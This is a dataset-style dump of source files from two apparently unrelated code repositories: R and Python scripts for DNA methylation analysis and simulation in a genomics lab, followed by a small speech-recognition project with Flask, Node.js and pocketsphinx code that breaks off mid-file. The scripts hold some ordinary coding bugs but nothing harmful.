experiments \n# jan 2018 \n# author <[email protected]> \n\n######################### environment ###############################\n\nrm(list=ls())\nsetwd(\"~/Documents/UCSF_year1/Zaitlen-rotation1/Zaitlen_lab/reference_data//\")\n\n######################### reference data ###############################\n\nillumina = read.table(\"HumanMethylationSites.txt\", header=TRUE, sep=\",\") # loads in illumina info with probe name and location\nobs_cpg = read.table(\"cpgs.txt\", header=TRUE) # a list of cpgs observed in my ALS dataset \nmerged_reference = read.table(\"reference_chip_data_merged.txt\", header=TRUE) # my compiled reference cpg probes \n\n######################### clean data ###############################\n\nillumina_obs = illumina[illumina$cg07881041 %in% obs_cpg$x, ] # remove any probes from illumina data not seen in ALS data\nobs_cpg_annot = subset(merged_reference, merged_reference$X.Sample_geo_accession %in% illumina_obs$cg07881041) # some data not with probe # are in my matrix, so remove those too (mostly points not in a majority of sources) \n\n ######################### tissues of interest ###############################\n\ntissues_of_interest = read.table(\"tissues_of_interest.txt\")$V1 # list of geo accesion #s that are experiments on tissues of interest for ALS (muscle, brain, some blood) \nobs_cpg_annot_tissues = subset(obs_cpg_annot, select=as.vector.factor(tissues_of_interest)) # subset my data to only these tissues \n\n######################### annotate and save ###############################\n\nobs_cpg_annot_tissues[\"IlmnID\"] = obs_cpg_annot$X.Sample_geo_accession # clean data, make the column names containing cpg probes identical for merging \nillumina_obs[\"IlmnID\"] = illumina_obs$cg07881041 # clean data, make the column names containing cpg probes identical for merging \n\ncpgs_probe_loc_by_tissue = merge(obs_cpg_annot_tissues, illumina_obs, by=\"IlmnID\") # merge illumina data with matrix data by probe name\nwrite.table(cpgs_probe_loc_by_tissue, \"cpgs_by_tissue.txt\") # save \n" }, { "alpha_fraction": 0.6540880799293518, "alphanum_fraction": 0.6792452931404114, "avg_line_length": 14.899999618530273, "blob_id": "ed5d157d739336c4c7b80949d488798ed892c959", "content_id": "ebe94773ee19151452343b54e028c6be035ac044", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 159, "license_type": "no_license", "max_line_length": 38, "num_lines": 10, "path": "/wgbs_primary_analysis/hierarch.R", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "\no1 = read.table(\"merged_most_var.txt\")\n\no2 = dist(cov(o1))\nclusters <- hclust(o2)\n\nsaveRDS(clusters, \"cluster.rdb\")\n\npng(\"clust.png\")\nplot(clusters)\ndev.off()" }, { "alpha_fraction": 0.5960755348205566, "alphanum_fraction": 0.628285825252533, "avg_line_length": 35.43243408203125, "blob_id": "d73d3b19c5d3a8188ad9ea010123d86282a6a740", "content_id": "bbf9865336df495425d4b6c0cfeb410cc66cc4dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2701, "license_type": "no_license", "max_line_length": 189, "num_lines": 74, "path": "/reference_data/find_pnas_sites.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# script that takes large methylatino data \n# and extracts sites from PNAS paper Lehman-Werner et al (2015)\n# dec 2017 \n# author <[email protected]> \n#@TODO make more robust to handle many file types\n\n# imports \n\n# import argparse # not used in this version \n\n\ndef check_sites(chr, start, pnas_sites):\n \"\"\" check if methylation file contains desired pnas site \n @params: \n chr: string of chr \n start: int of site start \n pnas_sites: dictionary of pnas_sites to be investigated \n\n \"\"\"\n\n # for each site in the pnas site dictionary check if our site \n # is within the bounds. If so return true \n for site in pnas_sites:\n if site[1] <= start <= site[2] and chr == site[0]:\n return True\n\n\ndef append_to_file(percent_meth):\n \"\"\" if a CpG site matches a PNAS site, append it to a file \n @params: \n percent_meth: CpG sites matching the PNAS sites \n \"\"\"\n f = open(\"pnas_sites.txt\", \"w\") # write to file called pnas_sites\n\n for item in percent_meth:\n f.write(\"%s\\n\" % item) # write the percent for each item in our list \n\nif __name__ == \"__main__\":\n\n # # takes in command line arguments for input, output, and which file to use\n # # @TODO make run/output optional\n # parser = argparse.ArgumentParser()\n # parser.add_argument(\"input\", help=\"path containing fastq files\")\n # parser.add_argument(\"output\", help=\"path where outputdir should be created\")\n # parser.add_argument(\"file_name\", type=int, help=\"fastq file for processing\")\n # args = parser.parse_args()\n #\n\n # @TODO incorporate this information \n # what tissue type is this \n # sample_type = \"cfDNA\"\n # surrounding_sites = 6\n\n # files to check PNAS sites im \n sample_list = ['results_2_trunc.txt']\n\n # pnas_sites to be checked * important hg18 sites \n # @TODO take in a file so sites to b e checked can be flexible \n pnas_sites = [(\"Chr18\", 74692045, 7469221), (\"Chr10\", 79936919, 79937042), (\"Chr10\", 3283832, 3283996), (\"Chr2\", 79347448, 79347588)]\n\n # for each file to check, read in one line at a time and check whether it is a PNAS site \n percent_meth = []\n for file in sample_list:\n with open(file) as f:\n \n for line in f:\n chr, start, meth, total = line.split()[0], int(line.split()[1]), int(line.split()[2]), int(line.split()[4]) # split line based on how I expect the file type to be formatted \n \n # if the site exist, append it to our dictionary \n if check_sites(chr, start, pnas_sites):\n percent_meth.append((file, chr, start, meth/total))\n\n # append all sites to a file \n append_to_file(percent_meth)\n\n\n\n\n\n" }, { "alpha_fraction": 0.47559449076652527, "alphanum_fraction": 0.5193992257118225, "avg_line_length": 35.318180084228516, "blob_id": "cf8458cba8f089fb55c635299003f0da42e0e8ba", "content_id": "8d51e33924aab33c4658e16d745046894cc9c17f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 799, "license_type": "no_license", "max_line_length": 95, "num_lines": 22, "path": "/wgbs_primary_analysis/percent_math2.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "from __future__ import print_function, division\nfrom collections import defaultdict\nimport progressbar\n\nif __name__ == \"__main__\":\n i = 0\n d = defaultdict(lambda: [0,0])\n with progressbar.ProgressBar(max_value=129311257+10000) as bar:\n with open(\"results.txt\") as f:\n for line in f:\n line_split = line.split()\n key = line_split[0]+\"|\"+line_split[1]\n d[key][0]+=int(line_split[2])\n d[key][1]+=int(line_split[3])\n i += 1\n if i % 10000 == 0:\n bar.update(i)\n\nwith open(\"results_new.txt\", \"w\") as out:\n for key, value in d.items():\n chrom, site = key.split(\"|\")\n print(f\"{chrom} {site} {value[0]} {value[1]} {value[0]/(value[0]+value[1])}\", file=out)\n" }, { "alpha_fraction": 0.6569343209266663, "alphanum_fraction": 0.6715328693389893, "avg_line_length": 16.125, "blob_id": "eb9e31885e643311c9fe3f09162cfe6671ec50e4", "content_id": "1859f6fcb3f8d233b4681e4dc44343cc68af7a34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 137, "license_type": "no_license", "max_line_length": 47, "num_lines": 8, "path": "/wgbs_primary_analysis/champ_analysis.R", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# trying chAMP analysis pipeline \n# christa caggiano \n# dec 22\n\n# source(\"https://bioconductor.org/biocLite.R\")\n# biocLite(\"ChAMP\")\n\nrm(list=ls())\n" }, { "alpha_fraction": 0.6663185358047485, "alphanum_fraction": 0.6793733835220337, "avg_line_length": 48, "blob_id": "c7448b19e9850036a94a30d7dde52764d43c0713", "content_id": "92d26651799bc061f0911050823094ee091f10ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1915, "license_type": "no_license", "max_line_length": 155, "num_lines": 39, "path": "/reference_data/reference_data_summary.R", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# script to summarize results of reference methylation datasets\n# dec 2017 \n# author <[email protected]> \n\n############################# environment #############################################\n\nrm(list=ls()) # removes anything in memory \n\n# requires \"wgbs_secondary_data_key.txt\" and \"pnas_sites.txt\" to be in wd \n# sets working directory \n# setwd(\"~/Desktop/zaitlen_lab_desktop/\")\n\nlibrary(wesanderson) # library of wes anderson themed color palettes, for funsies\nrequire(gplots) # updates to R base graphics \n\n############# analysis of metadata associated with methylation datasets ################\n\nwgbs = read.csv(\"wgbs_secondary_data_key.txt\", sep=\"\\t\")\n\nwgbs$Tissue=as.factor(wgbs$Tissue) # makes sure data loaded properly \nwgbs_no_blood = subset(wgbs, wgbs$Tissue!=\" whole blood\") # removes whole blood, too many are included to be balanced\n\n# plots tissue types \npal = wes_palette(\"Cavalcanti\", nrow(table(s_no_blood$Tissue)), type = \"continuous\") # makes a wes anderson color palette for barplot\nop <- par(mar = c(10,4,4,2) + 0.1) # sets the graphing parameters so that there is extra whitespace around the graph, good for long x-labels on the barplot\nbarplot(table(s_no_blood$Tissue), col=pal, las=2, cex.names=0.7, ylim=c(0, 30)) # plots (las rotates text)\ntitle(main=\"compiled tissue types\", ylab=\"counts\", las=2) # adds title \n\n# creates a bar plot of gender breakdown in methylation datasets \ntable(s_no_blood$Gender)\npie(as.factor(s_no_blood$Gender), labels=c(\"Male\", \"Female\", \"unknown\"))\n\n############# analysis reference data percent methylated at select pnas sites ################\npnas = read.table(\"pnas_sites.txt\", header=T) # read data \n\npnas = pnas[4:40] # subset to just % methylated columns \npnas = na.omit(pnas) # omit rows with an NAs \n\nheatmap.2(cov(pnas), Rowv=NA, Colv=NA, col = greenred(256), trace=\"none\", scale=\"column\", dendrogram=\"none\") # make a heatmap of covariance between sites\n\n\n\n\n" }, { "alpha_fraction": 0.6063492298126221, "alphanum_fraction": 0.6249433159828186, "avg_line_length": 30.5, "blob_id": "5d8f83cc300a134b05810c70bb346488b98c428e", "content_id": "866b977ca32928dca152b009a67b03df55ca1e28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2205, "license_type": "no_license", "max_line_length": 106, "num_lines": 70, "path": "/simulation/decon_simulation_2.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# 8 nov 17\n# updates to the previous simulation so it makes more sense\n# integrated known information about tissues\n# author <[email protected]>\n\nimport pandas as pd\nimport random\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib.cm as cm\n\n\ndef generate_proportion(tissue, individuals):\n \"\"\"\n generates the contribution of different tissues for\n each individual\n :param tissue: number of tissues to be simulated\n :param individuals: number of individuals\n :return: pandas dataframe of proportion of tissue, of shape individuals by tissue\n \"\"\"\n rows = []\n for i in range(individuals):\n vals = np.random.choice(10, tissue) # pick tissue number of values from 1 to 10 to be proportions\n rows.append([x/sum(vals) for x in vals]) # proportions must sum to 1\n return pd.DataFrame.from_records(rows)\n\n\ndef generate_reference(tissue, sites):\n \"\"\"\n generate reference methylation values for each tissue\n :param tissue: number of tissues\n :param sites: number of CpG sites\n :return: pandas dataframe of proportion of methylated for each site\n \"\"\"\n rows = []\n for t in range(tissue): # generate for each tissue\n vals = []\n for s in range(sites):\n vals.append(random.randint(0, 1))\n rows.append(vals)\n return pd.DataFrame(rows).round(decimals=2)\n\n\nif __name__ == \"__main__\":\n\n individuals = 5\n sites = 1000\n tissues = 10\n\n p = generate_proportion(tissues, individuals).as_matrix()\n r = generate_reference(tissues, sites).as_matrix()\n o = np.around(np.dot(p, r), decimals=2)\n\n x, y = o.shape\n for i in range(x):\n for j in range(y):\n if random.randrange(0, 1) == 1:\n o[i][j] = random.choice([0, 1])\n if random.randrange(0, 10) == 1:\n o[i][j] = 0.5\n if random.randrange(0, 10) == 1:\n o[i][j] = 0.75\n\n colors = cm.rainbow(np.linspace(0, 1, len(o)))\n for i, c in zip(range(len(o)), colors):\n plt.scatter(range(len(o[i, :])), o[i, :], color=c, label=\"individual: \" + str(i))\n plt.xlabel(\"CpG site\")\n plt.ylabel(\"Proportion methylated\")\n # plt.legend(loc=0)\n plt.show()\n" }, { "alpha_fraction": 0.5948905348777771, "alphanum_fraction": 0.6697080135345459, "avg_line_length": 25.14285659790039, "blob_id": "fc391d092e248f8e8da7bd03613e40b709d43b89", "content_id": "d04e8f4e6ac37fa49f9a1f44ad2063115c5f684d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 548, "license_type": "no_license", "max_line_length": 99, "num_lines": 21, "path": "/reference_data/generate_urls.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# 22 Sept 17 \n# author <[email protected]> \n# generates file list for wget -i mass data download \n\nfiles = []\nurl = \"ftp://ftp-trace.ncbi.nlm.nih.gov/sra/sra-instant/reads/ByStudy/sra/SRP/SRP051/SRP051242/SRR\"\n\ndef generate_urls(files, url, start, stop):\n\tfor i in range(start, stop):\n\t\tfiles.append(url + str(i) + \"/SRR\" + str(i) + \".sra\") \n\ngenerate_urls(files, url, 1720589, 1720752)\ngenerate_urls(files, url, 2533657, 2533675 )\n\nprint(len(files))\n\nwith open(\"files.txt\", 'w') as f:\n\tfor url in files: \n\t\tf.writelines(url)\n\t\tf.writelines('\\n')\nf.close()" }, { "alpha_fraction": 0.5197368264198303, "alphanum_fraction": 0.5197368264198303, "avg_line_length": 37, "blob_id": "5fab84e1b85431364e62b4a8d78771f6d695a46a", "content_id": "98385c19c99c661a79672b331254a17b7caeb451", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 608, "license_type": "no_license", "max_line_length": 65, "num_lines": 16, "path": "/reference_data/clean_chip_files.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport os\n\nfile_list = [line.strip() for line in open(\"file_list.txt\", 'r')]\nfor file in file_list:\n with open(file) as f:\n os.system(\"rm -f \" + file + \"_cleaned.txt\")\n with open(file + \"_cleaned.txt\", \"a\") as out:\n start_printing = False\n for line in f:\n if start_printing:\n print(line.rstrip(), file=out)\n if line.startswith(\"\\\"ID_REF\\\"\"):\n start_printing = True\n print(line.rstrip(), file=out)\n print(open(file + \"_cleaned.txt\",).read())\n" }, { "alpha_fraction": 0.6606335043907166, "alphanum_fraction": 0.685520350933075, "avg_line_length": 26.6875, "blob_id": "bdcfd1c5e60d92ac14a78b2d4af185057366acdb", "content_id": "cedefb58c522a2ba4ca85c6300e3f1fd1c3fb8d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 442, "license_type": "no_license", "max_line_length": 71, "num_lines": 16, "path": "/reference_data/jensen_et_al/jensen_plotting.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "import pickle\nimport matplotlib.pyplot as plt\nimport numpy as np\n\npercent_meth = pickle.load(open(\"meth_dict.pkl\", \"rb\"))\n\nfor k, v in percent_meth.items():\n percent_meth[k] = [round(x, 4) for x in v]\n\n\nwidth = 1\nplt.bar(list(range(101)), percent_meth[\"control\"], width, color=\"blue\")\nplt.bar(list(range(101)), percent_meth[\"placenta\"], width, color=\"red\")\nplt.bar(list(range(101)), percent_meth[\"buffy\"], width, color=\"green\")\n\nplt.show()" }, { "alpha_fraction": 0.6724738478660583, "alphanum_fraction": 0.684669017791748, "avg_line_length": 22.875, "blob_id": "8abaee7ff256cad3bdcfe25913e05701b538c7d2", "content_id": "fded7886ae930aaf3e82bc643827e80540c028e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 574, "license_type": "no_license", "max_line_length": 148, "num_lines": 24, "path": "/wgbs_primary_analysis/annotate_peaks.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# submitting qsub jobs for homer annotating peaks processing \n# author <[email protected]> \n# 5 Oct 2017 \n\nimport argparse\nimport subprocess\nimport os\nimport linecache\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"input\", type=int)\nargs = parser.parse_args()\n\ninput = args.input \n\nf = open(\"fastq_files.txt\", \"r\")\n\nfile_list = []\nfor line in f: \n\tfile_list.append(line.rstrip())\n\n\nannotate_cmd = \"annotatePeaks.pl\" + \" \" + file_list[input] + \" \" + \"hg38 \" + \"-annStats \" + input + \"_stats.txt > \" file_list[input] + \"_homer.txt\"\nsubprocess.call(annotate_cmd, shell=True)\n\n" }, { "alpha_fraction": 0.6393939256668091, "alphanum_fraction": 0.6651515364646912, "avg_line_length": 25.399999618530273, "blob_id": "a3ae7844eff318d2a553e143fd24e60c3cd2bdf4", "content_id": "6613706fe8929fb395b88d4f2b092feefbfff5dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 660, "license_type": "no_license", "max_line_length": 140, "num_lines": 25, "path": "/wgbs_primary_analysis/merge_files.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# merge files \n\nimport argparse \nimport os \n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"file_name\", type=int, help=\"fastq file for processing\")\nargs = parser.parse_args()\nfile_name = args.file_name\nindex = file_name - 1\n\nprefix = open(\"prefixes4.txt\", \"r\")\n\nfile_list = []\nfor line in prefix: \n file_list.append(line.rstrip())\nname = file_list[index]\n\nfile_1 = (name + \"/unsortedButMerged_ForBismark_file/methylation_extraction/\" + \"CpG_context_\" + name + \"_unsorted_merged.deduplicated.txt\")\nfile_2 = file_1.replace(\"L001\", \"L002\")\n\ncmd = \"cat \" + file_1 + \" \" + file_2 + \" | sort -S 80% > \" + file_1[0] + \"_merged_cpg.txt\"\n\nos.system(cmd)\n" }, { "alpha_fraction": 0.6472868323326111, "alphanum_fraction": 0.6652131676673889, "avg_line_length": 39.460784912109375, "blob_id": "3275c700f2b369c72d29377103b2dca39c3cd235", "content_id": "eb26645dc4edfc70d7be31efc5276fa8f6fe36f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4128, "license_type": "no_license", "max_line_length": 123, "num_lines": 102, "path": "/simulation/decon_simulation_1.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# 29 aug 17\n# simple script to produce simulated observed and reference data\n# for given mixtures of origin tissue\n# author <[email protected]>\n\nimport numpy as np\nimport argparse\nimport random\n\n\ndef choose_random_cases(case):\n\n \"\"\"\n pseudo-randomly decide if a case should be selected\n :param case: number of cases (individual or cpgs)\n :return: a dict that contains a bool indicating whether or not case is selected\n \"\"\"\n case_dict = {i: random.choice([False, True]) for i in range(case)}\n return case_dict\n\n\ndef create_array(case_dict, mean, sd, max, rows, columns, distribution_type, scaling, column_stack):\n \"\"\"\n creates an array where if a particular case is selected, values are generated around a given distribution\n otherwise values are generated so that they are similar, with a small degree of noise\n :param case_dict: either cpg or individual dictionaries that indicate which cases should be selected\n :param mean:\n :param sd:\n :param max:\n :param size: number of values to be generated\n :param distribution_type:\n :param column_stack: bool value indicating how to appropriately arrange the data\n :return: an array containing values (methylation or cell type proportions) that have a particular distribution\n \"\"\"\n array_list = []\n if column_stack:\n \n for case in range(columns):\n if case_dict[case]:\n array_list.append(distribution_type(mean, sd, rows) * scaling)\n else:\n static_value = max / 100 * random.randint(10, 99)\n array_list.append([\n static_value + random.choice(np.arange(-(static_value / 10), static_value / 10, scaling / 10))\n for i in range(rows)])\n return np.column_stack(array_list)\n\n else:\n for case in range(columns):\n if case_dict[case] == 1:\n array_list.append(distribution_type(mean, sd, columns)*scaling)\n else:\n static_value = max / 100 * random.randint(10, 99)\n array_list.append([static_value + random.choice(np.arange(-(static_value/10), static_value/10, scaling/10))\n for i in range(columns)])\n return np.vstack(array_list)\n\nif __name__ == \"__main__\":\n\n # accepts user input\n # all choices must be greater than 1\n # default is 5 individuals, 3 tissues, and 3 CpGs\n # parser = argparse.ArgumentParser()\n # parser.add_argument(\"individuals\", help=\"number of individuals\", type=int, choices=range(2,100), default=5)\n # parser.add_argument(\"tissues\", help=\"number of tissues\", type=int, choices=range(2,100), default=3)\n # parser.add_argument(\"cpgs\", help=\"number of CpG sites\", type=int, choices=range(2,100), default=3)\n\n # args = parser.parse_args()\n\n # individual = args.individuals\n # cpg = args.cpgs\n # tissue = args.tissues\n\n individual = 3\n cpg = 4\n tissue = 3\n dmr_num = 0\n control_num = 0\n\n\n # # TODO proportion methylated\n mean = 7000\n maximum = 60000\n sd = 435\n\n cpg_dict = choose_random_cases(cpg) # select random cpgs to be differentially methylated\n individual_dict = choose_random_cases(individual) # select individuals to have non-normal levels of cfDNA\n\n\n # TODO randomly pick one tissue to be diff methylated\n # creates a reference array where methylation values are normally distributed if they are differentially methylated\n # and base these methylation values around the descriptive statistics of the aforementioned data set\n ref_array = create_array(cpg_dict, mean, sd, maximum, tissue, cpg, np.random.normal, 1, True)\n\n # create an array of cell proportions for each individual where proportions have a lognormal(skewed) distribution\n # indicating a non-normal (perhaps disease) state\n cell_proportion_array = create_array(individual_dict, 2, 0.2, 1, individual, tissue, np.random.lognormal, 0.1, False)\n print(ref_array)\n print(cell_proportion_array)\n observed_array = np.dot(cell_proportion_array, ref_array)\n print(observed_array)\n # TODO add in noise y = mr + e\n\n" } ]
17
dnyaneshwar1991/Speech_Recognition
https://github.com/dnyaneshwar1991/Speech_Recognition
2552b86ae9e5e2c8fc13ff179e25c04a1493529f
0ea14278c9862140728d32c2eab83803eaaafb56
a1558801819e376fd548077f3db12ebba2196d9e
refs/heads/master
2020-12-02T23:00:10.336023
2017-07-04T12:27:56
2017-07-04T12:27:56
96,214,421
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5433333516120911, "alphanum_fraction": 0.5507692098617554, "avg_line_length": 22.347305297851562, "blob_id": "42492dafe78246af924543ea2f98822850568ed7", "content_id": "a7f162da285f56ab518a12ef1cb20137d0a06afe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3900, "license_type": "no_license", "max_line_length": 80, "num_lines": 167, "path": "/pyflask2.py", "repo_name": "dnyaneshwar1991/Speech_Recognition", "src_encoding": "UTF-8", "text": "import json\nimport sys\nfrom adapt.entity_tagger import EntityTagger\nfrom adapt.tools.text.tokenizer import EnglishTokenizer\nfrom adapt.tools.text.trie import Trie\nfrom adapt.intent import IntentBuilder\nfrom adapt.parser import Parser\nfrom adapt.engine import IntentDeterminationEngine\nimport datetime\nimport parsedatetime\nfrom flask import Flask\nfrom flask import request\n\n\napp = Flask(__name__)\n\n\n\[email protected](\"/compute/<cmd>\")\ndef parse_request(cmd):\n \n print \"cmd is\",cmd;\n res = dbcon(cmd) \n return res\n\n \n\ndef dbcon(text):\n \n tokenizer = EnglishTokenizer()\n trie = Trie()\n tagger = EntityTagger(trie, tokenizer)\n parser = Parser(tokenizer, tagger)\n cal = parsedatetime.Calendar()\n engine = IntentDeterminationEngine()\n\n category_keyword = [\n \"energy\",\n \"equipment\"\n ]\n\n for ck in category_keyword:\n engine.register_entity(ck, \"categoryKeyword\")\n\n command_categories = [\n \"show\",\n \"write\",\n \"what\",\n \"display\",\n \"read\"\n ]\n for cc in command_categories:\n engine.register_entity(cc,\"commandcategories\")\n\n pmt_categories = [\n \"details\",\n \"status\",\n \"parameters\",\n \"requirement\",\n \"output\"\n ]\n for pc in pmt_categories:\n engine.register_entity(pc, \"pmtcategories\")\n\n lvl_categories = [\n \"level-1\",\n \"level-2\",\n \"level-3\",\n \"level-4\",\n \"level-5\"\n ]\n for lc in lvl_categories:\n engine.register_entity(lc,\"lvlcategories\")\n\n intensity_categories = [\n \"high\",\n \"medium\",\n \"low\",\n \"normal\"\n\n ]\n for ic in intensity_categories:\n engine.register_entity(ic,\"intensitycategories\") \n sub_categories = [\n \"consumption\",\n \"demand\",\n \"energy consumption tracker\",\n \"building energy usage category\",\n \"top five faults\",\n \"faults by equipment category\",\n \"chiller system runhour\",\n \"boiler system runhour\"\n\n ]\n for sc in sub_categories:\n engine.register_entity(sc, \"subcategories\")\n\n range_categories = [\n \"one month data\",\n \"two month data\",\n \"three month data\",\n \"four month data\",\n \"five month data\",\n \"six month data\",\n \"seven month data\",\n \"eight month data\",\n \"nine month data\",\n \"ten month data\"\n ]\n for rc in range_categories:\n engine.register_entity(rc, \"rangecategories\")\n\n equipment_intent = IntentBuilder(\"equipmentIntent\")\\\n .require(\"categoryKeyword\")\\\n .optionally(\"subcategories\")\\\n .optionally(\"commandcategories\")\\\n .optionally(\"rangecategories\")\\\n .optionally(\"pmtcategories\")\\\n .optionally(\"intensitycategories\")\\\n .optionally(\"lvlcategories\")\\\n .build()\n\n engine.register_intent_parser(equipment_intent)\n\n #if __name__ == \"__main__\":\n intent = {}\n \t\n for intent in engine.determine_intent(text):\n\tprint\"*************************************************\"\n \tif intent.get('confidence') > 0:\n \t print \"intent:\",intent\n \n print (\"------------------------------------------------------------------\")\n print \"text: \",text\n print (\"------------------------------------------------------------------\")\n \n dt_obj = cal.parse(str(text))\n \n print \"date:\",dt_obj[0][2]\n print \"Month:\",dt_obj[0][1]\n print \"year:\",dt_obj[0][0]\n \n ''' \t\n if(dt_obj):\n print 'date:',dt_obj.datetimeString-\n\n #print intent\n\n intent['date']=dt_obj.datetimeString\n '''\n \t\n intent['date'] = dt_obj[0][2] \n intent['month'] = dt_obj[0][1]\n intent['year'] = dt_obj[0][0]\n \t\t \n print intent\n return(json.dumps(intent, indent=4))\n\n \n\n \n\n\nif __name__ == \"__main__\":\n\t#app.debug = True\n\tapp.run('127.0.0.1', 8085)\n\t#app.run(debug = True)\t\n" }, { "alpha_fraction": 0.5738310217857361, "alphanum_fraction": 0.5890073776245117, "avg_line_length": 24.9255313873291, "blob_id": "177615f9d5071c0fcf814551df7841237cf07f71", "content_id": "a2b106093cfa143dcd35813797fe7af40e66cfb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2451, "license_type": "no_license", "max_line_length": 103, "num_lines": 94, "path": "/nodejs2.js", "repo_name": "dnyaneshwar1991/Speech_Recognition", "src_encoding": "UTF-8", "text": "var http = require('http');\nvar express = require('express');\nvar request = require('request');\nvar app = express(); \nvar bodyParser = require('body-parser');\n//http://localhost:3000/_getproduct/8821264 \n\n\n// Add headers\napp.use(function (req, res, next) {\n\n // Website you wish to allow to connect\n res.header('Access-Control-Allow-Origin', '*');\n\n // Request methods you wish to allow\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\n\n // Request headers you wish to allow\n res.header('Access-Control-Allow-Headers', 'Content-type');\n\n // Set to true if you need the website to include cookies in the requests sent\n // to the API (e.g. in case you use sessions)\n res.header('Access-Control-Allow-Credentials', true);\n\n // Pass to next layer of middleware\n next();\n})\n\n//support parsing of application/json type post data\n//app.use(bodyParser.json());\n\n\n//app.use(bodyParser.text({ type: 'text/html' }))\n\n\n\t\n\n/*\tvar path1 = \"compute/\" + keys[0];\t\n\tvar options = {\n \t\thost: 'localhost',\n \t\tpath: path1,\n \t\tmethod: 'get',\n \t\tport: 8085,\t\n \t\theaders: { 'Content-Type': 'application/x-www-form-urlencoded'}\n };\n\t //console.log(\"options are ready\");\n \t var req = http.request(options, function(res) {\n  \t \tres.setEncoding('utf8');\n  \t \tres.on('data', function (TempCommand) {\n    \t\t\tconsole.log('response from python library: ' + TempCommand);\n });\n\n });\n\n req.on('error', function(e) {\n \t console.log(e);\n \t });\n\n // Write the audio data in the request body.\n \n //var dt = \"{'resData':'\"+command+\"'}\";\n //console.log(dt);\n req.write();\n //console.log(\"command 2:\",command);\n req.end();\n\n });\n \n*/\n\n//support parsing of application/x-www-form-urlencoded post data\napp.use(bodyParser.urlencoded({ extended: true }));\n\napp.post('/_getproduct', function(req, res) {\n\tconsole.log(\"body:\", req.body);\n var keys =Object.keys(req.body); \n console.log(keys[0]);\n\n\nrequest.get({ url: \"http://localhost:8085/compute/\" + keys[0]}, function(error, response, body) { \n if (!error && response.statusCode == 200) { \n //res.json(body);\n\t console.log(body);\n\t\t res.json(body); \n } \n\n }); \n });\n \n\n\napp.listen(3000, function () {\n console.log('Example app listening on port 3000!')\n}); \n" }, { "alpha_fraction": 0.5535109043121338, "alphanum_fraction": 0.5728813409805298, "avg_line_length": 25.81818199157715, "blob_id": "2c09bff7113ccab12d30b17d48f662af063c1897", "content_id": "43c37a698135f86d6c23b063b2b36b95fa710763", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2065, "license_type": "no_license", "max_line_length": 83, "num_lines": 77, "path": "/live_stt.py", "repo_name": "dnyaneshwar1991/Speech_Recognition", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 23 08:37:58 2017\n\n@author: jjadhad\n\"\"\"\n\nimport pyaudio\n#import wave\nfrom os import environ, path\nimport sys\nfrom pocketsphinx.pocketsphinx import *\nfrom sphinxbase.sphinxbase import *\nfrom flask import Flask\n#import flask\n#from flask import request,Request\n#---------------------------------------------------------------------------------#\n\napp = Flask(__name__)\nCHUNK = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\nRATE = 16000\n#RECORD_SECONDS = 5\n\n \n\n#MODELDIR = \"/home/jjadhad/workspace/speech_to_text/cmusphinx-en-in-5.2\"\nMODELDIR = \"/home/jjadhad/workspace/speech_to_text/ac_mo\"\n\n# Create a decoder with certain model\nconfig = Decoder.default_config()\nconfig.set_string('-hmm', path.join(MODELDIR, 'en-us'))\nconfig.set_string('-lm', path.join(MODELDIR, '3456.lm'))\nconfig.set_string('-dict', path.join(MODELDIR, '3456.dic'))\n#config.set_string('-logfn', '/dev/null')\ndecoder = Decoder(config)\n\n\n\np = pyaudio.PyAudio()\nstream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK) \n\n\ndecoder.start_utt()\nin_speech_bf = True\n\nwhile True:\n buf = stream.read(1024)\n if buf:\n decoder.process_raw(buf, False, False)\n try:\n if decoder.hyp().hypstr != '':\n print('Partial decoding result:', decoder.hyp().hypstr)\n except AttributeError:\n pass\n if decoder.get_in_speech():\n sys.stdout.write('.')\n sys.stdout.flush()\n if decoder.get_in_speech() != in_speech_bf:\n in_speech_bf = 